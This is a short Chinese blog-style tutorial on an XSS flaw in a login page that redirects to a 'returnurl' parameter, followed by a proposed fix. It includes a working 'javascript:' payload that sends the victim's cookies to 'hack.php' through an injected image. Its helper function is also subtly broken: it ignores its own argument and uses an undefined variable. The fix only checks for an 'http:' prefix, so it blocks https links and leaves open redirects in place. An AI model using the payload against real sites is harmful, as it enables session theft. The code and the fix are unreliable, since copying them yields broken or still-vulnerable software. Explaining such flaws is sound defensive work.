www.xxx.com網站有個登入頁面login.htm,登入之後需要跳到之前的頁面www.yyy.com
url形式如下:http://www.xxx.com/login.htm?returnurl=http://www.yyy.com
long.htm代碼裡面通過javascript跳轉:
/**
* javascript擷取URL指定參數對應的值
* @method getQueryString
* @param {string} s 參數名
* @return {string}
*/
function getQueryString(s){
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return r[2]; return "";
}
location.href=getQueryString("returnurl");
這看上去沒問題,滿足業務需求,但是有個js漏洞 (感謝csy同學指出)
如果url變成:
http://www.xxx.com/login.htm?returnurl=javascript:alert(document.cookie);
登入完之後就能取得整個本地cookie。
更進一步,url變成:http://www.xxx.com/login.htm?returnurl=javascript:var%20img%20=%20document.createElement%28%27img%27%29;img.src=%27hack.php?cookie=%27+document.cookie;document.body.appendChild%28img%29;
如果惡意使用者散布這個連結,只要一點擊,就可以偷取使用者的cookie,從而類比使用者登入大多數網站,達到盜取帳號的目的。
所以這個漏洞很有必要堵上,處理一下參數裡面的值,比如以判斷參數值是否以http:開頭(我們採用的),總之根據你的業務需要的方式做具體防範。
var returnurl = getQueryString("returnurl");
returnurl = returnurl.toLowerCase().indexOf('http:') == 0 ? returnurl : "";
location.href=returnurl;